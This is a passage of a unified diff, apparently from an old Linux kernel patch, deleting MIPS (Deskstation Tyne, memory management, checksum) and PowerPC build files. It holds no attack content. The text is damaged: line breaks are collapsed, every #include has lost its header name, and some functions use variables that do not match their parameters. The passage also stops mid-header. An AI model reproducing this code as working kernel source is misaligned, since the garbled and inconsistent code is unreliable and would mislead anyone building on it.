@@ -/* - * Deskstation Tyne specific C parts - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - */ -#include -#include -#include -#include -#include -#include -#include - -/* - * How to access the FDC's registers. - */ -unsigned char deskstation_tyne_fd_inb(unsigned int port) -{ - return inb_p(port); -} - -void deskstation_tyne_fd_outb(unsigned char value, unsigned int port) -{ - outb_p(value, port); -} - -/* - * How to access the floppy DMA functions. - */ -void deskstation_tyne_fd_enable_dma(void) -{ - enable_dma(FLOPPY_DMA); -} - -void deskstation_tyne_fd_disable_dma(void) -{ - disable_dma(FLOPPY_DMA); -} - -int deskstation_tyne_fd_request_dma(void) -{ - return request_dma(FLOPPY_DMA, "floppy"); -} - -void deskstation_tyne_fd_free_dma(void) -{ - free_dma(FLOPPY_DMA); -} - -void deskstation_tyne_fd_clear_dma_ff(void) -{ - clear_dma_ff(FLOPPY_DMA); -} - -int deskstation_tyne_fd_set_dma_mode(char mode) -{ - return set_dma_mode(FLOPPY_DMA, mode); -} - -void deskstation_tyne_fd_set_dma_addr(unsigned int a) -{ - set_dma_addr(FLOPPY_DMA, addr); -} - -void deskstation_tyne_fd_set_dma_count(unsigned int count) -{ - set_dma_count(FLOPPY_DMA, count); -} - -int deskstation_tyne_fd_get_dma_residue(void) -{ - return get_dma_residue(FLOPPY_DMA); -} - -void deskstation_tyne_fd_enable_irq(void) -{ - enable_irq(FLOPPY_IRQ); -} - -void deskstation_tyne_fd_disable_irq(void) -{ - disable_irq(FLOPPY_IRQ); -} - -void deskstation_tyne_fd_cacheflush(unsigned char *addr, unsigned int) -{ - sys_cacheflush((void *)addr, size, DCACHE); -} - - -/* - * Tiny Tyne DMA buffer allocator - * - * Untested for a long time and changed again and again ... - * Sorry, but no hardware to test ... - */ -static unsigned long allocated; - -/* - * Not very sophisticated, but should suffice for now... - */ -unsigned long deskstation_tyne_dma_alloc(size_t size) -{ - unsigned long ret = allocated; - allocated += size; - if (allocated > boot_info.dma_cache_size) - ret = -1; - return ret; -} - -void deskstation_tyne_dma_init(void) -{ - if (boot_info.machtype != MACH_DESKSTATION_TYNE) - return; - allocated = 0; - printk ("Deskstation Tyne DMA (%luk) buffer initialized.\n", - boot_info.dma_cache_size >> 10); -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/tyne.S linux/arch/mips/kernel/tyne.S --- linux-2.1.29/arch/mips/kernel/tyne.S Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/kernel/tyne.S Wed Dec 31 19:00:00 1969 @@ -1,128 +0,0 @@ -/* - * arch/mips/kernel/tyne.S - * - * Deskstation Tyne specific Assembler code - * - * Copyright (C) 1994, 1995 Waldorf Electronics - * written by Ralf Baechle and Andreas Busse - */ -#include -#include -#include -#include - -/* - * Deskstation Tyne interrupt handler - */ - .text - .set noreorder - .set noat - .align 5 - NESTED(deskstation_tyne_handle_int, FR_SIZE, sp) - SAVE_ALL - CLI - .set at - lui s0,%hi(PORT_BASE) - li t1,0x0f - sb t1,%lo(PORT_BASE+0x20)(s0) # poll command - lb t1,%lo(PORT_BASE+0x20)(s0) # read result - li s1,1 - bgtz t1,Lpoll_second - andi t1,t1,7 - /* - * Acknowledge first pic - */ - lb t2,%lo(PORT_BASE+0x21)(s0) - lui s4,%hi(cache_21) - lb t0,%lo(cache_21)(s4) - sllv s1,s1,t1 - or t0,t0,s1 - sb t0,%lo(cache_21)(s4) - sb t0,%lo(PORT_BASE+0x21)(s0) - lui s3,%hi(intr_count) - lw t0,%lo(intr_count)(s3) - li t2,0x20 - sb t2,%lo(PORT_BASE+0x20)(s0) - /* - * Now call the real handler - */ - la t3,IRQ_vectors - sll t2,t1,2 - addu t3,t3,t2 - lw t3,(t3) - addiu t0,t0,1 - jalr t3 - sw t0,%lo(intr_count)(s3) # delay slot - lw t0,%lo(intr_count)(s3) - /* - * Unblock first pic - */ - lbu t1,%lo(PORT_BASE+0x21)(s0) - lb t1,%lo(cache_21)(s4) - subu t0,t0,1 - sw t0,%lo(intr_count)(s3) - nor s1,zero,s1 - and t1,t1,s1 - sb t1,%lo(cache_21)(s4) - jr v0 - sb t1,%lo(PORT_BASE+0x21)(s0) # delay slot - - .align 5 -Lpoll_second: li t1,0x0f - sb t1,%lo(PORT_BASE+0xa0)(s0) # poll command - lb t1,%lo(PORT_BASE+0xa0)(s0) # read result - lui s4,%hi(cache_A1) - bgtz t1,spurious_interrupt - andi t1,t1,7 - /* - * Acknowledge second pic - */ - lbu t2,%lo(PORT_BASE+0xa1)(s0) - lb t3,%lo(cache_A1)(s4) - sllv s1,s1,t1 - or t3,t3,s1 - sb t3,%lo(cache_A1)(s4) - sb t3,%lo(PORT_BASE+0xa1)(s0) - li t3,0x20 - sb t3,%lo(PORT_BASE+0xa0)(s0) - lui s3,%hi(intr_count) - lw t0,%lo(intr_count)(s3) - sb t3,%lo(PORT_BASE+0x20)(s0) - /* - * Now call the real handler - */ - la t0,IRQ_vectors - sll t2,t1,2 - addu t0,t0,t2 - lw t0,32(t0) - addiu t0,t0,1 - jalr t0 - sw t0,%lo(intr_count)(s3) # delay slot - lw t0,%lo(intr_count)(s3) - /* - * Unblock second pic - */ - lb t1,%lo(PORT_BASE+0xa1)(s0) - lb t1,%lo(cache_A1)(s4) - subu t0,t0,1 - lw t0,%lo(intr_count)(s3) - nor s1,zero,s1 - and t1,t1,s1 - sb t1,%lo(cache_A1)(s4) - jr v0 - sb t1,%lo(PORT_BASE+0xa1)(s0) # delay slot - END(deskstation_tyne_handle_int) - - .align 5 -LEAF(spurious_interrupt) - /* - * Nothing happened... (whistle) - */ - lui t1,%hi(spurious_count) - lw t0,%lo(spurious_count)(t1) - la v0,return - addiu t0,1 - jr ra - sw t0,%lo(spurious_count)(t1) - END(spurious_interrupt) - diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/vm86.c linux/arch/mips/kernel/vm86.c --- linux-2.1.29/arch/mips/kernel/vm86.c Fri Jan 13 11:21:20 1995 +++ linux/arch/mips/kernel/vm86.c Wed Dec 31 19:00:00 1969 @@ -1,14 +0,0 @@ -/* - * arch/mips/vm86.c - * - * Copyright (C) 1994 Waldorf GMBH, - * written by Ralf Baechle - */ -#include -#include -#include - -asmlinkage int sys_vm86(struct vm86_struct * v86) -{ - return -ENOSYS; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/ld.script linux/arch/mips/ld.script --- linux-2.1.29/arch/mips/ld.script Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/ld.script Wed Dec 31 19:00:00 1969 @@ -1,106 +0,0 @@ -OUTPUT_FORMAT("elf32-littlemips") -OUTPUT_ARCH(mips) -ENTRY(kernel_entry) -SECTIONS -{ - /* Read-only sections, merged into text segment: */ - . = 0x80000000; - .rel.text : { *(.rel.text) } - .rela.text : { *(.rela.text) } - .rel.data : { *(.rel.data) } - .rela.data : { *(.rela.data) } - .rel.rodata : { *(.rel.rodata) } - .rela.rodata : { *(.rela.rodata) } - .rel.got : { *(.rel.got) } - .rela.got : { *(.rela.got) } - .rel.ctors : { *(.rel.ctors) } - .rela.ctors : { *(.rela.ctors) } - .rel.dtors : { *(.rel.dtors) } - .rela.dtors : { *(.rela.dtors) } - .rel.init : { *(.rel.init) } - .rela.init : { *(.rela.init) } - .rel.fini : { *(.rel.fini) } - .rela.fini : { *(.rela.fini) } - .rel.bss : { *(.rel.bss) } - .rela.bss : { *(.rela.bss) } - .rel.plt : { *(.rel.plt) } - .rela.plt : { *(.rela.plt) } - .init : { *(.init) } =0 - .text : - { - _ftext = . ; - *(.text) - *(.rodata) - *(.rodata1) - /* .gnu.warning sections are handled specially by elf32.em. */ - *(.gnu.warning) - } =0 - _etext = .; - PROVIDE (etext = .); - .fini : { *(.fini) } =0 - .reginfo : { *(.reginfo) } - /* Adjust the address for the data segment. We want to adjust up to - the same address within the page on the next page up. It would - be more correct to do this: - . = .; - The current expression does not correctly handle the case of a - text segment ending precisely at the end of a page; it causes the - data segment to skip a page. The above expression does not have - this problem, but it will currently (2/95) cause BFD to allocate - a single segment, combining both text and data, for this case. - This will prevent the text segment from being shared among - multiple executions of the program; I think that is more - important than losing a page of the virtual address space (note - that no actual memory is lost; the page which is skipped can not - be referenced). */ - . = .; - .data : - { - _fdata = . ; - *(.data) - CONSTRUCTORS - } - .data1 : { *(.data1) } - _gp = . + 0x8000; - .lit8 : { *(.lit8) } - .lit4 : { *(.lit4) } - .ctors : { *(.ctors) } - .dtors : { *(.dtors) } - .got : { *(.got.plt) *(.got) } - .dynamic : { *(.dynamic) } - /* We want the small data sections together, so single-instruction offsets - can access them all, and initialized data all before uninitialized, so - we can shorten the on-disk segment size. */ - .sdata : { *(.sdata) } - _edata = .; - PROVIDE (edata = .); - __bss_start = .; - _fbss = .; - .bss : - { - *(.dynbss) - *(.bss) - *(COMMON) - _end = . ; - PROVIDE (end = .); - *(.sbss) - *(.scommon) - } - /* These are needed for ELF backends which have not yet been - converted to the new style linker. */ - .stab 0 : { *(.stab) } - .stabstr 0 : { *(.stabstr) } - /* DWARF debug sections. - Symbols in the .debug DWARF section are relative to the beginning of the - section so we begin .debug at 0. It's not clear yet what needs to happen - for the others. */ - .debug 0 : { *(.debug) } - .debug_srcinfo 0 : { *(.debug_srcinfo) } - .debug_aranges 0 : { *(.debug_aranges) } - .debug_pubnames 0 : { *(.debug_pubnames) } - .debug_sfnames 0 : { *(.debug_sfnames) } - .line 0 : { *(.line) } - /* These must appear regardless of . */ - .gptab.sdata : { *(.gptab.data) *(.gptab.sdata) } - .gptab.sbss : { *(.gptab.bss) *(.gptab.sbss) } -} diff -u --recursive --new-file linux-2.1.29/arch/mips/lib/Makefile linux/arch/mips/lib/Makefile --- linux-2.1.29/arch/mips/lib/Makefile Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/lib/Makefile Wed Dec 31 19:00:00 1969 @@ -1,16 +0,0 @@ -# -# Makefile for MIPS-specific library files.. -# -# Many of these routines are just left over debugging trash of ancient -# times when I just make my Tyne beep and so ... -# - -.S.s: - $(CPP) $(CFLAGS) $< -o $*.s -.S.o: - $(CC) $(CFLAGS) -c $< -o $*.o - -L_TARGET = lib.a -L_OBJS = beep.o checksum.o csum.o dump_tlb.o tinycon.o watch.o - -include $(TOPDIR)/Rules.make diff -u --recursive --new-file linux-2.1.29/arch/mips/lib/checksum.c linux/arch/mips/lib/checksum.c --- linux-2.1.29/arch/mips/lib/checksum.c Fri Apr 12 02:49:30 1996 +++ linux/arch/mips/lib/checksum.c Wed Dec 31 19:00:00 1969 @@ -1,148 +0,0 @@ -/* - * INET An implementation of the TCP/IP protocol suite for the LINUX - * operating system. INET is implemented using the BSD Socket - * interface as the means of communication with the user level. - * - * MIPS specific IP/TCP/UDP checksumming routines - * - * Authors: Ralf Baechle, - * Lots of code moved from tcp.c and ip.c; see those files - * for more names. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - */ -#include -#include - -/* - * computes a partial checksum, e.g. for TCP/UDP fragments - */ - -unsigned int csum_partial(const unsigned char *buff, int len, unsigned int sum) -{ - unsigned long scratch1; - unsigned long scratch2; - - /* - * The GCC generated code for handling carry bits makes - * it strongly desirable to do this in assembler! - */ - __asm__(" - .set noreorder - .set noat - andi $1,%5,2 # Check alignment - beqz $1,2f # Branch if ok - subu $1,%4,2 # delay slot, Alignment uses up two bytes - bgez $1,1f # Jump if we had at least two bytes - move %4,$1 # delay slot - j 4f - addiu %4,2 # delay slot; len was < 2. Deal with it - -1: lw %2,(%5) - addiu %4,2 - addu %0,%2 - sltu $1,%0,%2 - addu %0,$1 - -2: move %1,%4 - srl %1,%1,5 - beqz %1,2f - sll %1,%1,5 # delay slot - - addu %1,%5 -1: lw %2,0(%5) - addu %5,32 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-28(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-24(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-20(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-16(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-12(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-8(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - lw %2,-4(%5) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - - bne %5,%1,1b - addu %0,$1 # delay slot - -2: andi %1,%4,0x1c - srl %1,%1,2 - beqz %1,4f - addu %1,%5 # delay slot -3: lw %2,0(%5) - addu %5,4 - addu %0,%2 - sltu $1,%0,%2 - bne %5,%1,3b - addu %0,$1 # delay slot - -4: andi $1,%3,2 - beqz $1,5f - move %2,$0 # delay slot - lhu %2,(%5) - addiu %5,2 - -5: andi $1,%3,1 - beqz $1,6f - sll %1,16 # delay slot - lbu %1,(%5) - nop # NOP ALERT (spit, gasp) -6: or %2,%1 - addu %0,%2 - sltu $1,%0,%2 - addu %0,$1 -7: .set at - .set reorder" - : "=r"(sum), "=r" (scratch1), "=r" (scratch2) - : "0"(sum), "r"(len), "r"(buff) - : "$1"); - - return sum; -} - -/* - * copy from fs while checksumming, otherwise like csum_partial - */ -unsigned int csum_partial_copy(const char *src, char *dst, - int len, int sum) -{ - /* - * It's 2:30 am and I don't feel like doing it real ... - * This is lots slower than the real thing (tm) - */ - sum = csum_partial(src, len, sum); - memcpy(dst, src, len); - - return sum; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/mm/Makefile linux/arch/mips/mm/Makefile --- linux-2.1.29/arch/mips/mm/Makefile Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/mm/Makefile Wed Dec 31 19:00:00 1969 @@ -1,13 +0,0 @@ -# -# Makefile for the Linux/MIPS-specific parts of the memory manager. -# -# Note! Dependencies are done automagically by 'make dep', which also -# removes any old dependencies. DON'T put your own dependencies here -# unless it's something special (ie not a .c file). -# -# Note 2! The CFLAGS definition is now in the main makefile... - -O_TARGET := mm.o -O_OBJS := fault.o init.o - -include $(TOPDIR)/Rules.make diff -u --recursive --new-file linux-2.1.29/arch/mips/mm/fault.c linux/arch/mips/mm/fault.c --- linux-2.1.29/arch/mips/mm/fault.c Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/mm/fault.c Wed Dec 31 19:00:00 1969 @@ -1,84 +0,0 @@ -/* - * arch/mips/mm/fault.c - * - * Copyright (C) 1995 by Ralf Baechle - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -extern void die_if_kernel(char *, struct pt_regs *, long); - -/* - * This routine handles page faults. It determines the address, - * and the problem, and then passes it off to one of the appropriate - * routines. - */ -asmlinkage void -do_page_fault(struct pt_regs *regs, unsigned long writeaccess, unsigned long address) -{ - struct vm_area_struct * vma; - -#if 0 - printk("do_page_fault() #1: %s %08lx (epc == %08lx, ra == %08lx)\n", - writeaccess ? "writeaccess to" : "readaccess from", - address, regs->cp0_epc, regs->reg31); -#endif - vma = find_vma(current, address); - if (!vma) - goto bad_area; - if (vma->vm_start <= address) - goto good_area; - if (!(vma->vm_flags & VM_GROWSDOWN)) - goto bad_area; - if (expand_stack(vma, address)) - goto bad_area; -/* - * Ok, we have a good vm_area for this memory access, so - * we can handle it.. - */ -good_area: - if (writeaccess) { - if (!(vma->vm_flags & VM_WRITE)) - goto bad_area; - } else { - if (!(vma->vm_flags & (VM_READ | VM_EXEC))) - goto bad_area; - } - handle_mm_fault(vma, address, writeaccess); - /* FIXME: This flushes the cache far to often */ - sys_cacheflush(address, PAGE_SIZE, BCACHE); - - return; - -/* - * Something tried to access memory that isn't in our memory map.. - * Fix it, but check if it's kernel or user first.. - */ -bad_area: - if (user_mode(regs)) { - current->tss.cp0_badvaddr = address; - current->tss.error_code = writeaccess; - send_sig(SIGSEGV, current, 1); - return; - } - /* - * Oops. The kernel tried to access some bad page. We'll have to - * terminate things with extreme prejudice. - */ - printk(KERN_ALERT "Unable to handle kernel paging request at virtual " - "address %08lx\n", address); - die_if_kernel("Oops", regs, writeaccess); - do_exit(SIGKILL); -} diff -u --recursive --new-file linux-2.1.29/arch/mips/mm/init.c linux/arch/mips/mm/init.c --- linux-2.1.29/arch/mips/mm/init.c Sat May 10 18:17:09 1997 +++ linux/arch/mips/mm/init.c Wed Dec 31 19:00:00 1969 @@ -1,309 +0,0 @@ -/* - * arch/mips/mm/init.c - * - * Copyright (C) 1991, 1992, 1993, 1994 Linus Torvalds - * Ported to MIPS by Ralf Baechle - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -extern void deskstation_tyne_dma_init(void); -extern void sound_mem_init(void); -extern void die_if_kernel(char *,struct pt_regs *,long); -extern void show_net_buffers(void); - -extern char empty_zero_page[PAGE_SIZE]; - -/* - * BAD_PAGE is the page that is used for page faults when linux - * is out-of-memory. Older versions of linux just did a - * do_exit(), but using this instead means there is less risk - * for a process dying in kernel mode, possibly leaving an inode - * unused etc.. - * - * BAD_PAGETABLE is the accompanying page-table: it is initialized - * to point to BAD_PAGE entries. - * - * ZERO_PAGE is a special page that is used for zero-initialized - * data and COW. - */ -pte_t * __bad_pagetable(void) -{ - extern char empty_bad_page_table[PAGE_SIZE]; - unsigned long page; - unsigned long dummy1, dummy2; - - page = ((unsigned long)empty_bad_page_table) + (PT_OFFSET - PAGE_OFFSET); -#if __mips__ >= 3 - /* - * Use 64bit code even for Linux/MIPS 32bit on R4000 - */ - __asm__ __volatile__( - ".set\tnoreorder\n" - ".set\tnoat\n\t" - ".set\tmips3\n\t" - "dsll32\t$1,%2,0\n\t" - "dsrl32\t%2,$1,0\n\t" - "or\t%2,$1\n" - "1:\tsd\t%2,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,8\n\t" - ".set\tmips0\n\t" - ".set\tat\n" - ".set\treorder" - :"=r" (dummy1), - "=r" (dummy2) - :"r" (pte_val(BAD_PAGE)), - "0" (page), - "1" (PAGE_SIZE/8)); -#else - __asm__ __volatile__( - ".set\tnoreorder\n" - "1:\tsw\t%2,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,4\n\t" - ".set\treorder" - :"=r" (dummy1), - "=r" (dummy2) - :"r" (pte_val(BAD_PAGE)), - "0" (page), - "1" (PAGE_SIZE/4)); -#endif - - return (pte_t *)page; -} - -static inline void -__zeropage(unsigned long page) -{ - unsigned long dummy1, dummy2; - -#ifdef __R4000__ - /* - * Use 64bit code even for Linux/MIPS 32bit on R4000 - */ - __asm__ __volatile__( - ".set\tnoreorder\n" - ".set\tnoat\n\t" - ".set\tmips3\n" - "1:\tsd\t$0,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,8\n\t" - ".set\tmips0\n\t" - ".set\tat\n" - ".set\treorder" - :"=r" (dummy1), - "=r" (dummy2) - :"0" (page), - "1" (PAGE_SIZE/8)); -#else - __asm__ __volatile__( - ".set\tnoreorder\n" - "1:\tsw\t$0,(%0)\n\t" - "subu\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,4\n\t" - ".set\treorder" - :"=r" (dummy1), - "=r" (dummy2) - :"0" (page), - "1" (PAGE_SIZE/4)); -#endif -} - -static inline void -zeropage(unsigned long page) -{ - sys_cacheflush((void *)page, PAGE_SIZE, BCACHE); - sync_mem(); - __zeropage(page + (PT_OFFSET - PAGE_OFFSET)); -} - -pte_t __bad_page(void) -{ - extern char empty_bad_page[PAGE_SIZE]; - unsigned long page = (unsigned long)empty_bad_page; - - zeropage(page); - return pte_mkdirty(mk_pte(page, PAGE_SHARED)); -} - -unsigned long __zero_page(void) -{ - unsigned long page = (unsigned long) empty_zero_page; - - zeropage(page); - return page; -} - -/* - * This is horribly inefficient ... - */ -void __copy_page(unsigned long from, unsigned long to) -{ - /* - * Now copy page from uncached KSEG1 to KSEG0. The copy destination - * is in KSEG0 so that we keep stupid L2 caches happy. - */ - if(from == (unsigned long) empty_zero_page) - { - /* - * The page copied most is the COW empty_zero_page. Since we - * know its contents we can avoid the writeback reading of - * the page. Speeds up the standard case a lot. - */ - __zeropage(to); - } - else - { - /* - * Force writeback of old page to memory. We don't know the - * virtual address, so we have to flush the entire cache ... - */ - sys_cacheflush(0, ~0, DCACHE); - sync_mem(); - memcpy((void *) to, - (void *) (from + (PT_OFFSET - PAGE_OFFSET)), PAGE_SIZE); - } - /* - * Now writeback the page again if colour has changed. - * Actually this does a Hit_Writeback, but due to an artifact in - * the R4xx0 implementation this should be slightly faster. - * Then sweep chipset controlled secondary caches and the ICACHE. - */ - if (page_colour(from) != page_colour(to)) - sys_cacheflush(0, ~0, DCACHE); - sys_cacheflush(0, ~0, ICACHE); -} - -void show_mem(void) -{ - int i, free = 0, total = 0, reserved = 0; - int shared = 0; - - printk("Mem-info:\n"); - show_free_areas(); - printk("Free swap: %6dkB\n", nr_swap_pages<<(PAGE_SHIFT-10)); - i = (high_memory - PAGE_OFFSET) >> PAGE_SHIFT; - while (i-- > 0) { - total++; - if (mem_map[i].reserved) - reserved++; - else if (!mem_map[i].count) - free++; - else - shared += mem_map[i].count-1; - } - printk("%d pages of RAM\n", total); - printk("%d free pages\n", free); - printk("%d reserved pages\n", reserved); - printk("%d pages shared\n", shared); - show_buffers(); -#ifdef CONFIG_NET - show_net_buffers(); -#endif -} - -extern unsigned long free_area_init(unsigned long, unsigned long); - -unsigned long paging_init(unsigned long start_mem, unsigned long end_mem) -{ - pgd_init((unsigned long)swapper_pg_dir - (PT_OFFSET - PAGE_OFFSET)); - return free_area_init(start_mem, end_mem); -} - -void mem_init(unsigned long start_mem, unsigned long end_mem) -{ - int codepages = 0; - int datapages = 0; - unsigned long tmp; - extern int _etext; - -#ifdef CONFIG_MIPS_JAZZ - start_mem = vdma_init(start_mem, end_mem); -#endif - - end_mem &= PAGE_MASK; - high_memory = end_mem; - - /* mark usable pages in the mem_map[] */ - start_mem = PAGE_ALIGN(start_mem); - - tmp = start_mem; - while (tmp < high_memory) { - mem_map[MAP_NR(tmp)].reserved = 0; - tmp += PAGE_SIZE; - } - -#ifdef CONFIG_DESKSTATION_TYNE - deskstation_tyne_dma_init(); -#endif -#ifdef CONFIG_SOUND - sound_mem_init(); -#endif - for (tmp = PAGE_OFFSET ; tmp < high_memory ; tmp += PAGE_SIZE) { - if (mem_map[MAP_NR(tmp)].reserved) { - if (tmp < (unsigned long) &_etext) - codepages++; - else if (tmp < start_mem) - datapages++; - continue; - } - mem_map[MAP_NR(tmp)].count = 1; - free_page(tmp); - } - tmp = nr_free_pages << PAGE_SHIFT; - printk("Memory: %luk/%luk available (%dk kernel code, %dk data)\n", - tmp >> 10, - (high_memory - PAGE_OFFSET) >> 10, - codepages << (PAGE_SHIFT-10), - datapages << (PAGE_SHIFT-10)); - - return; -} - -void free_initmem(void) -{ - /* To be written */ -} - -void si_meminfo(struct sysinfo *val) -{ - int i; - - i = high_memory >> PAGE_SHIFT; - val->totalram = 0; - val->sharedram = 0; - val->freeram = nr_free_pages << PAGE_SHIFT; - val->bufferram = buffermem; - while (i-- > 0) { - if (mem_map[i].reserved) - continue; - val->totalram++; - if (!mem_map[i].count) - continue; - val->sharedram += mem_map[i].count-1; - } - val->totalram <<= PAGE_SHIFT; - val->sharedram <<= PAGE_SHIFT; - return; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/Makefile linux/arch/ppc/Makefile --- linux-2.1.29/arch/ppc/Makefile Sat May 10 18:16:36 1997 +++ linux/arch/ppc/Makefile Wed Dec 31 19:00:00 1969 @@ -1,100 +0,0 @@ -# -# ppc/Makefile -# -# This file is included by the global makefile so that you can add your own -# architecture-specific flags and dependencies. Remember to do have actions -# for "archclean" and "archdep" for cleaning up and making dependencies for -# this architecture -# -# This file is subject to the terms and conditions of the GNU General Public -# License. See the file "COPYING" in the main directory of this archive -# for more details. -# -# Copyright (C) 1994 by Linus Torvalds -# Changes for PPC by Gary Thomas -# Modified by Cort Dougan -# - -# PowerPC (cross) tools -SUFFIX = -AS = as$(SUFFIX) -ASFLAGS = -LD = ld$(SUFFIX) -LINKFLAGS = -T arch/ppc/ld.script -Ttext 0x90000000 -HOSTCC = gcc -CC = gcc$(SUFFIX) -CFLAGSINC = -D__KERNEL__ -I$(TOPDIR)/include -D__powerpc__ -CFLAGS = $(CFLAGSINC) \ - -Wstrict-prototypes \ - -fomit-frame-pointer \ - -fno-builtin \ - -finhibit-size-directive -fno-strength-reduce\ - -O2 -fsigned-char -pipe -mstring -mmultiple -CPP = $(CC) -E $(CFLAGS) -AR = ar$(SUFFIX) -RANLIB = ranlib$(SUFFIX) -STRIP = strip$(SUFFIX) -NM = nm$(SUFFIX) - -ifdef CONFIG_603 -CFLAGS := $(CFLAGS) -mcpu=603 -DCPU=603 -endif - -ifdef CONFIG_603e -CFLAGS := $(CFLAGS) -mcpu=603e -DCPU=603e -endif - -ifdef CONFIG_604 -CFLAGS := $(CFLAGS) -mcpu=604 -DCPU=604 -endif - -# -# NFS_ROOT_NAME specifies the default name of the directory to mount -# as root via NFS, if the kernel does not get the "root=" option from -# the boot loader. The "%s" will be replaced by the IP-number of the -# local system. -# -NFS_ROOT = -DNFS_ROOT="\"/joplin/ppc/root\"" - -HEAD := arch/ppc/kernel/head.o - -ARCH_SUBDIRS = arch/ppc/kernel arch/ppc/mm arch/ppc/lib -SUBDIRS := $(SUBDIRS) $(ARCH_SUBDIRS) -ARCHIVES := arch/ppc/kernel/kernel.o arch/ppc/mm/mm.o arch/ppc/lib/lib.o $(ARCHIVES) - - -MAKEBOOT = $(MAKE) -C arch/$(ARCH)/boot - -netboot: vmlinux - @$(MAKEBOOT) netboot - -znetboot: vmlinux - @$(MAKEBOOT) znetboot - -zImage: vmlinux - @$(MAKEBOOT) zImage - -floppy: vmlinux - @$(MAKEBOOT) floppy - -install: vmlinux - @$(MAKEBOOT) install - -arch/ppc/kernel: dummy - $(MAKE) linuxsubdirs SUBDIRS=arch/ppc/kernel - -arch/ppc/mm: dummy - $(MAKE) linuxsubdirs SUBDIRS=arch/ppc/mm - -arch/ppc/lib: dummy - $(MAKE) linuxsubdirs SUBDIRS=arch/ppc/lib - - -archclean: - rm -f arch/ppc/kernel/mk_defs arch/ppc/kernel/ppc_defs.h TAGS - @$(MAKEBOOT) clean - -archdep: - -corttags : - etags arch/ppc/*/*.c include/asm/* */*.c drivers/*/*.c net/*.c diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/Makefile linux/arch/ppc/boot/Makefile --- linux-2.1.29/arch/ppc/boot/Makefile Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/Makefile Wed Dec 31 19:00:00 1969 @@ -1,80 +0,0 @@ -# -# arch/ppc/boot/Makefile -# -# This file is subject to the terms and conditions of the GNU General Public -# License. See the file "COPYING" in the main directory of this archive -# for more details. -# -# Copyright (C) 1994 by Linus Torvalds -# Adapted for PowerPC by Gary Thomas -# - -.c.s: - $(CC) $(CFLAGS) -S -o $*.s $< -.s.o: - $(AS) -o $*.o $< -.c.o: - $(CC) $(CFLAGS) -c -o $*.o $< -.S.s: - $(CC) -D__ASSEMBLY__ -traditional -E -o $*.o $< -.S.o: - $(CC) -D__ASSEMBLY__ -traditional -c -o $*.o $< - - -ZLINKFLAGS = -T ../ld.script -Ttext 0x00800000 -GZIP_FLAGS = -9 - -SYSTEM = $(TOPDIR)/vmlinux - -OBJECTS = head.o inflate.o unzip.o misc.o vreset.o - -CFLAGS = -O2 -DSTDC_HEADERS -I$(TOPDIR)/include - -all: $(TOPDIR)/zImage - -mkboot : cortstrip.c - $(HOSTCC) $(CFLAGSINC) -Wl,-static -o mkboot cortstrip.c - -mk_type41: mk_type41.c - $(HOSTCC) $(CFLAGSINC) -Wl,-static -o mk_type41 mk_type41.c - -floppy: zImage $(TOPDIR)/vmlinux - dd if=$(TOPDIR)/zImage of=/dev/fd0H1440 bs=64b - -netboot : $(TOPDIR)/vmlinux mkboot - mkboot $(TOPDIR)/vmlinux $(TOPDIR)/netboot -# rcp $(TOPDIR)/netboot charon:/usr/tftpboot/vmlinux - -znetboot : mkboot zvmlinux - mkboot zvmlinux $(TOPDIR)/znetboot - rcp $(TOPDIR)/znetboot charon:/usr/tftpboot/vmlinux - -zImage: mk_type41 zvmlinux -# make znetboot ourselves since using the normal dep -# will rcp it -- Cort - mkboot zvmlinux $(TOPDIR)/znetboot - mk_type41 $(TOPDIR)/znetboot $(TOPDIR)/zImage - -install: zImage - dd if=$(TOPDIR)/zImage of=/dev/sda4 - ln -s /dev/sda4 $(INSTALL_PATH)/vmlinuz - cp $(TOPDIR)/System.map $(INSTALL_PATH)/ - -zvmlinux: $(OBJECTS) $(SYSTEM) piggyback netboot $(TOPDIR)/vmlinux - gzip ${GZIP_FLAGS} <$(TOPDIR)/netboot | ./piggyback | $(AS) -o piggy.o - $(LD) $(ZLINKFLAGS) -o zvmlinux $(OBJECTS) piggy.o - rm -f piggy.o xx_boot - -head.o: head.s - -head.s: head.S $(TOPDIR)/include/linux/tasks.h - $(CPP) -traditional head.S -o head.s - -piggyback: piggyback.c - $(HOSTCC) $(CFLAGS) -o piggyback piggyback.c - -clean: - rm -f piggyback zvmlinux mk_type41 mkprep mkboot - rm -f $(TOPDIR)/{zImage,znetboot,netboot} - -dep: diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/cortstrip.c linux/arch/ppc/boot/cortstrip.c --- linux-2.1.29/arch/ppc/boot/cortstrip.c Sat May 10 